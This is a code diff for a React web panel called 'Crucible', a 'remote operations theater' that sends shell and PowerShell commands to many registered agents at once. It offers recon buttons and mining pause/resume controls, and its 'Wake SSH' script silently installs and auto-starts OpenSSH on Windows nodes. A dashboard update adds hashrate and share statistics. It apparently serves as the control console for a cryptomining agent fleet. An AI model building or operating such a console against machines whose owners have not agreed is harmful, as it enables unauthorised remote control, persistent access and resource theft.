.crucible-section-title {
font-size: 0.78rem;
letter-spacing: 0.12em;
color: var(--text-muted);
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.75rem;
}
.crucible-roster {
display: flex;
flex-wrap: wrap;
gap: 0.65rem;
}
.crucible-node-card {
display: flex;
gap: 0.5rem;
padding: 0.6rem 0.75rem;
border-radius: 6px;
border: 1px solid rgba(255, 255, 255, 0.07);
background: rgba(0, 0, 0, 0.3);
cursor: pointer;
transition: border-color 0.15s, background 0.15s, box-shadow 0.15s;
min-width: 150px;
max-width: 180px;
flex: 1 1 150px;
user-select: none;
}
.crucible-node-card:hover {
border-color: rgba(255, 255, 255, 0.18);
background: rgba(0, 0, 0, 0.45);
}
.crucible-node-card.selected {
border-color: var(--sel-color, var(--neon-cyan));
background: rgba(0, 245, 255, 0.06);
box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan));
}
.crucible-node-card.offline {
opacity: 0.45;
}
.crucible-node-check {
display: flex;
align-items: flex-start;
padding-top: 2px;
}
.cn-checkbox {
display: inline-block;
width: 14px;
height: 14px;
border: 1px solid var(--text-muted);
border-radius: 3px;
flex-shrink: 0;
transition: all 0.15s;
}
.cn-checkbox.checked {
border-color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.2);
}
.crucible-node-body {
flex: 1;
min-width: 0;
display: flex;
flex-direction: column;
gap: 0.18rem;
}
.cn-name {
font-weight: 600;
font-size: 0.88rem;
color: var(--text-primary);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
display: flex;
align-items: center;
gap: 0.3rem;
}
.cn-platform { font-size: 0.9rem; }
.cn-meta {
display: flex;
align-items: center;
gap: 0.4rem;
}
.cn-badge {
font-size: 0.68rem;
color: var(--text-muted);
font-family: var(--font-tech);
}
.cn-status-dot {
width: 6px;
height: 6px;
border-radius: 50%;
}
.cn-status-dot.on { background: var(--neon-green); box-shadow: 0 0 6px var(--neon-green); }
.cn-status-dot.off { background: var(--text-muted); }
.cn-ip {
font-size: 0.7rem;
color: var(--text-muted);
letter-spacing: 0.02em;
}
.cn-stats {
display: flex;
gap: 0.5rem;
font-size: 0.72rem;
color: var(--text-secondary);
}
.cn-ssh {
font-size: 0.68rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
align-self: flex-start;
margin-top: 1px;
}
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
.crucible-row {
display: grid;
grid-template-columns: 1fr 2fr;
gap: 1rem;
margin-bottom: 1rem;
}
@media (max-width: 900px) {
.crucible-row { grid-template-columns: 1fr; }
}
/* ── Groups ──────────────────────────────────────────────────────────── */
.crucible-groups-card,
.crucible-actions-card {
display: flex;
flex-direction: column;
}
.crucible-groups-list {
flex: 1;
display: flex;
flex-direction: column;
gap: 0.35rem;
min-height: 60px;
margin-bottom: 0.75rem;
}
.crucible-group-item {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.35rem 0.6rem;
border-radius: 5px;
background: rgba(178, 75, 243, 0.1);
border: 1px solid rgba(178, 75, 243, 0.2);
cursor: pointer;
transition: background 0.15s;
font-size: 0.85rem;
}
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
.cg-del {
background: none;
border: none;
color: var(--text-muted);
cursor: pointer;
font-size: 1rem;
line-height: 1;
padding: 0;
transition: color 0.1s;
}
.cg-del:hover { color: #ff4466; }
.crucible-group-new {
display: flex;
gap: 0.5rem;
}
/* ── Actions ─────────────────────────────────────────────────────────── */
.crucible-ops {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.crucible-op-group {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
}
.cop-label {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.1em;
color: var(--text-muted);
min-width: 52px;
}
.crucible-op-btn {
padding: 0.3rem 0.7rem;
font-size: 0.8rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid rgba(255, 176, 32, 0.25);
color: var(--neon-amber);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
font-family: var(--font-tech);
}
.crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 176, 32, 0.12);
border-color: var(--neon-amber);
}
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-op-wake {
color: var(--neon-green);
border-color: rgba(57, 255, 20, 0.3);
}
.crucible-op-wake:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.1);
border-color: var(--neon-green);
}
.crucible-shell-tabs {
display: flex;
gap: 0;
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 4px;
overflow: hidden;
}
.crucible-shell-tab {
padding: 0.25rem 0.65rem;
background: none;
border: none;
color: var(--text-muted);
cursor: pointer;
font-family: var(--font-tech);
font-size: 0.75rem;
transition: all 0.15s;
border-right: 1px solid rgba(255, 255, 255, 0.08);
}
.crucible-shell-tab:last-child { border-right: none; }
.crucible-shell-tab.active {
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan);
}
.crucible-sel-chips {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.25rem;
}
.crucible-chip {
padding: 0.15rem 0.5rem;
border: 1px solid;
border-radius: 3px;
font-size: 0.75rem;
font-family: var(--font-tech);
cursor: pointer;
opacity: 0.8;
transition: opacity 0.1s;
}
.crucible-chip:hover { opacity: 1; }
/* ── Terminal ─────────────────────────────────────────────────────────── */
.crucible-term-card {
margin-bottom: 1rem;
}
.crucible-term-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 0.6rem;
}
.crucible-term-target {
color: var(--text-muted);
font-size: 0.75rem;
margin-left: 0.75rem;
}
.crucible-terminal {
background: rgba(0, 0, 0, 0.55);
border: 1px solid rgba(57, 255, 20, 0.15);
border-radius: 5px;
padding: 0.6rem 0.75rem;
height: 340px;
overflow-y: auto;
font-family: 'Courier New', Consolas, monospace;
font-size: 0.8rem;
line-height: 1.55;
margin-bottom: 0.6rem;
scroll-behavior: smooth;
}
.crucible-terminal::-webkit-scrollbar { width: 4px; }
.crucible-terminal::-webkit-scrollbar-thumb { background: rgba(57,255,20,0.25); border-radius: 2px; }
.crucible-term-empty {
color: var(--text-muted);
font-style: italic;
padding: 0.5rem 0;
}
.crucible-term-line {
display: flex;
align-items: baseline;
gap: 0.4rem;
padding: 0.05rem 0;
}
.ctl-agent {
font-size: 0.72rem;
font-family: var(--font-tech);
white-space: pre;
flex-shrink: 0;
}
.ctl-arrow {
flex-shrink: 0;
font-size: 0.75rem;
}
.ctl-text {
flex: 1;
color: var(--text-primary);
word-break: break-all;
white-space: pre-wrap;
}
.cmd-line .ctl-text {
color: var(--text-muted);
font-style: italic;
}
.err-line .ctl-text {
color: #ff4466;
}
.ctl-ts {
font-size: 0.65rem;
color: rgba(255, 255, 255, 0.2);
flex-shrink: 0;
margin-left: auto;
}
.crucible-term-input-row {
display: flex;
align-items: center;
gap: 0.5rem;
}
.crucible-prompt {
font-size: 0.8rem;
color: var(--neon-green);
flex-shrink: 0;
white-space: nowrap;
}
.crucible-term-input {
flex: 1;
background: rgba(0, 0, 0, 0.5);
border: 1px solid rgba(57, 255, 20, 0.25);
border-radius: 4px;
padding: 0.4rem 0.6rem;
color: var(--neon-green);
font-family: 'Courier New', Consolas, monospace;
font-size: 0.85rem;
outline: none;
transition: border-color 0.15s;
}
.crucible-term-input:focus { border-color: var(--neon-green); }
.crucible-term-input:disabled { opacity: 0.4; }
.crucible-send-btn {
padding: 0.4rem 1rem;
font-family: var(--font-tech);
font-size: 0.8rem;
background: rgba(57, 255, 20, 0.1);
border: 1px solid rgba(57, 255, 20, 0.35);
color: var(--neon-green);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
letter-spacing: 0.08em;
}
.crucible-send-btn:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.2);
box-shadow: 0 0 10px rgba(57, 255, 20, 0.25);
}
.crucible-send-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-send-btn.busy { animation: pulse-green 1s ease-in-out infinite; }
@keyframes pulse-green {
0%, 100% { opacity: 0.4; }
50% { opacity: 1; }
}
/* ── SSH Info ─────────────────────────────────────────────────────────── */
.crucible-ssh-info { margin-bottom: 2rem; }
.crucible-ssh-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.75rem 1.5rem;
margin-top: 0.5rem;
}
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
.crucible-ssh-step {
display: flex;
gap: 0.6rem;
align-items: flex-start;
font-size: 0.85rem;
color: var(--text-secondary);
line-height: 1.5;
}
.css-num {
flex-shrink: 0;
width: 20px;
height: 20px;
border-radius: 50%;
background: rgba(201, 162, 39, 0.2);
border: 1px solid var(--brass);
color: var(--brass-light);
font-family: var(--font-tech);
font-size: 0.72rem;
display: flex;
align-items: center;
justify-content: center;
margin-top: 1px;
}
.crucible-code {
font-family: 'Courier New', Consolas, monospace;
font-size: 0.8rem;
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.07);
padding: 0 4px;
border-radius: 3px;
}
/* ── Shared input ─────────────────────────────────────────────────────── */
.crucible-input {
flex: 1;
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 4px;
padding: 0.35rem 0.6rem;
color: var(--text-primary);
font-size: 0.85rem;
outline: none;
transition: border-color 0.15s;
}
.crucible-input:focus { border-color: var(--neon-purple); }
/* ── Buttons ──────────────────────────────────────────────────────────── */
.crucible-btn {
padding: 0.35rem 0.8rem;
font-family: var(--font-tech);
font-size: 0.78rem;
background: rgba(0, 245, 255, 0.08);
border: 1px solid rgba(0, 245, 255, 0.3);
color: var(--neon-cyan);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
letter-spacing: 0.05em;
}
.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); }
.crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-btn-muted {
padding: 0.25rem 0.65rem;
font-family: var(--font-tech);
font-size: 0.72rem;
background: transparent;
border: 1px solid rgba(255, 255, 255, 0.1);
color: var(--text-muted);
border-radius: 4px;
cursor: pointer;
transition: all 0.12s;
letter-spacing: 0.05em;
}
.crucible-btn-muted:hover { color: var(--text-primary); border-color: rgba(255,255,255,0.25); }

View File

@@ -0,0 +1,598 @@
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import { formatHashrate } from '../help/fleetFilters';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
type ShellType = 'powershell' | 'exec' | 'sh';
interface TermLine {
id: string;
agentId: string;
agentName: string;
isCmd: boolean;
text: string;
ts: Date;
success?: boolean;
}
interface NodeGroup {
id: string;
name: string;
agentIds: Set<string>;
}
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
function agentColor(agentId: string, allIds: string[]): string {
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
}
function sshBadge(agent: Agent) {
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
return { label: 'SSH ?', cls: 'ssh-unk' };
}
function platformIcon(platform?: string): string {
if (!platform) return '⬡';
const p = platform.toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }
// ── Wake SSH commands ──────────────────────────────────────────────────────
const WAKE_SSH_PS = `
$ErrorActionPreference='SilentlyContinue'
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
Set-Service -Name sshd -StartupType Automatic
Start-Service sshd
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
"SSH_WAKE_OK ip=$ip port=22"
`.trim();
const PROBE_SSH_PS = `
$s=Get-Service sshd -ErrorAction SilentlyContinue
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
`.trim();
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
const { agents, commandResults } = useWebSocket();
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [groups, setGroups] = useState<NodeGroup[]>([]);
const [groupNameInput, setGroupNameInput] = useState('');
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
const [cmd, setCmd] = useState('');
const [shellType, setShellType] = useState<ShellType>('powershell');
const [busy, setBusy] = useState(false);
const termEndRef = useRef<HTMLDivElement>(null);
const cmdRef = useRef<HTMLInputElement>(null);
const lastSeqRef = useRef(0);
// Command history
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1);
// SSH status overrides (from probe results)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
);
const online = (a: Agent) => a.status === 'online';
// ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => {
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [termLines]);
// ── Process incoming command_result messages ───────────────────────────
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
if (newEntries.length === 0) return;
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
const lines: TermLine[] = [];
for (const r of newEntries) {
const aid = r.agent_id;
if (!aid) continue;
// Only show results from agents that are selected (or all if nothing selected)
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
// Parse SSH probe results to update ssh status
const msg = r.message ?? '';
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
// Split multi-line output
const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) {
lines.push({
id: mkId(),
agentId: aid,
agentName: name,
isCmd: false,
text: line,
ts: new Date(),
success: r.success,
});
}
}
if (lines.length > 0) {
setTermLines((prev) => [...prev, ...lines].slice(-2000));
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [commandResults]);
// ── Selection helpers ──────────────────────────────────────────────────
const toggle = (id: string) =>
setSelectedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id); else next.add(id);
return next;
});
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
const addGroup = () => {
if (!groupNameInput.trim() || selectedIds.size === 0) return;
setGroups((prev) => [
...prev,
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
]);
setGroupNameInput('');
};
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
// ── Dispatch command ───────────────────────────────────────────────────
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0 || !command.trim()) return;
setBusy(true);
// Echo command to terminal
const echoLines: TermLine[] = tgts.map((a) => ({
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: true,
text: command,
ts: new Date(),
}));
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
setCmdHistory((h) => [command, ...h].slice(0, 50));
setHistIdx(-1);
const action = shell === 'powershell' ? 'powershell'
: shell === 'sh' ? 'exec'
: 'exec';
await Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
},
]);
})
)
);
setBusy(false);
cmdRef.current?.focus();
}, [selectedAgents]);
const sendCmd = () => {
dispatch(cmd, shellType);
setCmd('');
};
const probeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
const shell: ShellType = isWin ? 'powershell' : 'sh';
dispatch(probeCmd, shell, [a]);
}
};
const wakeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
if (isWin) {
dispatch(WAKE_SSH_PS, 'powershell', [a]);
} else {
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
}
}
};
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
e.preventDefault();
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
setHistIdx(next);
setCmd(cmdHistory[next] ?? '');
}
if (e.key === 'ArrowDown') {
e.preventDefault();
const next = Math.max(histIdx - 1, -1);
setHistIdx(next);
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
}
};
// ── Effective SSH status ───────────────────────────────────────────────
const sshStatus = (a: Agent) => {
const override = sshOverride[a.id];
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
return sshBadge({ ...a });
};
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
<h1>Crucible</h1>
<p className="page-subtitle">select nodes · group them · command them all at once</p>
</div>
<div className="deck-hero-status">
<div className="crucible-sel-summary">
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
</span>
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
{agents.filter(online).length} online / {agents.length} total
</span>
</div>
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
</div>
</header>
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : (
<div className="crucible-roster">
{agents.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
const color = agentColor(a.id, allIds);
return (
<div
key={a.id}
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
onClick={() => toggle(a.id)}
>
<div className="crucible-node-check">
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
</div>
<div className="crucible-node-body">
<div className="cn-name" style={sel ? { color } : undefined}>
<span className="cn-platform">{platformIcon(a.platform)}</span>
{a.name}
</div>
<div className="cn-meta">
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span>
</div>
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
</div>
</div>
);
})}
</div>
)}
</NeonCard>
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS
</div>
<div className="crucible-groups-list">
{groups.length === 0 && (
<p className="form-hint" style={{ margin: 0 }}>
Select nodes above, name a group, save it here.
</p>
)}
{groups.map((g) => (
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
<span className="cg-name">{g.name}</span>
<span className="cg-count">{g.agentIds.size} nodes</span>
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
</div>
))}
</div>
<div className="crucible-group-new">
<input
className="crucible-input"
value={groupNameInput}
onChange={(e) => setGroupNameInput(e.target.value)}
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
placeholder={`Name group (${selectedIds.size} selected)…`}
/>
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
Save
</button>
</div>
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
</div>
<div className="crucible-ops">
<div className="crucible-op-group">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probeSSH()}
title="Probe port 22 on selected nodes"
>
Probe SSH
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={selectedIds.size === 0}
onClick={() => wakeSSH()}
title="Install + start OpenSSH server on selected Windows nodes"
>
Wake SSH
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
>
Resume All
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
>
Pause All
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch('whoami', shellType)}
>
whoami
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
>
sysinfo
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
>
ipconfig
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Shell</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button
key={s}
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
onClick={() => setShellType(s)}
>
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
</button>
))}
</div>
</div>
{selectedIds.size > 0 && (
<div className="crucible-sel-chips">
{selectedAgents.map((a) => {
const color = agentColor(a.id, allIds);
const ssh = sshStatus(a);
return (
<span
key={a.id}
className="crucible-chip"
style={{ borderColor: color, color }}
onClick={() => toggle(a.id)}
title={`${a.ip ?? ''} · ${ssh.label}`}
>
{a.name} ×
</span>
);
})}
</div>
)}
</div>
</NeonCard>
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
<div className="crucible-term-header">
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL
<span className="crucible-term-target">
{selectedIds.size === 0
? '— select nodes above —'
: `${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
}
</span>
</div>
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
</div>
<div className="crucible-terminal">
{termLines.length === 0 && (
<div className="crucible-term-empty">
Select nodes · type a command · press Enter
</div>
)}
{termLines.map((line) => {
const color = agentColor(line.agentId, allIds);
return (
<div
key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''}`}
>
<span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)}
</span>
<span className="ctl-arrow" style={{ color }}>
{line.isCmd ? '▶' : '◀'}
</span>
<span className="ctl-text">{line.text}</span>
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
</div>
);
})}
<div ref={termEndRef} />
</div>
<div className="crucible-term-input-row">
<span className="crucible-prompt font-tech">
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
</span>
<input
ref={cmdRef}
className="crucible-term-input"
value={cmd}
onChange={(e) => setCmd(e.target.value)}
onKeyDown={handleKey}
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
disabled={busy || selectedIds.size === 0}
spellCheck={false}
autoComplete="off"
/>
<button
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
onClick={sendCmd}
disabled={busy || !cmd.trim() || selectedIds.size === 0}
>
{busy ? '…' : 'SEND'}
</button>
</div>
</NeonCard>
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> SSH ACCESS NOTES
</div>
<div className="crucible-ssh-grid">
<div className="crucible-ssh-step">
<span className="css-num">1</span>
<div>
<strong>Probe</strong> click "Probe SSH" to test if port 22 is open on the target machine.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">2</span>
<div>
<strong>Wake SSH (Windows)</strong> installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">3</span>
<div>
<strong>Connect directly</strong> if you're on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is shown on each card.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
</div>
</div>
</div>
</NeonCard>
</div>
);
}

View File

@@ -48,6 +48,7 @@ export default function DashboardPage() {
const [restAI, setRestAI] = useState<typeof aiActivity>([]);
const [subtitle, setSubtitle] = useState('security is just an emotion');
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
@@ -114,9 +115,10 @@ export default function DashboardPage() {
useEffect(() => {
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, avgCpu, avgMem]);
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -146,6 +148,29 @@ export default function DashboardPage() {
[agents]
);
// ── Extra pretty numbers ───────────────────────────────────────────────────
const bestAgent = useMemo(
() => agents.filter((a) => a.status === 'online').sort((a, b) => b.hashrate_15m - a.hashrate_15m)[0] ?? null,
[agents]
);
const totalCores = useMemo(
() => agents.filter((a) => a.status === 'online').reduce((s, a) => s + (a.cpu_cores || 0), 0),
[agents]
);
const totalUptimeHours = useMemo(
() => agents.reduce((s, a) => s + (a.uptime_seconds || 0), 0) / 3600,
[agents]
);
const sharesPerHour = useMemo(() => {
// Estimate from recent share log timestamps
if (shares.length < 2) return 0;
const times = shares.map((s) => new Date(s.timestamp).getTime()).filter((t) => !isNaN(t)).sort((a, b) => b - a);
if (times.length < 2) return 0;
const spanMs = times[0] - times[times.length - 1];
if (spanMs <= 0) return 0;
return Math.round((times.length / spanMs) * 3_600_000);
}, [shares]);
// ── Analytics ─────────────────────────────────────────────────────────────
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
const contribs = useMemo(() => contributionBars(agents), [agents]);
@@ -280,6 +305,50 @@ export default function DashboardPage() {
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
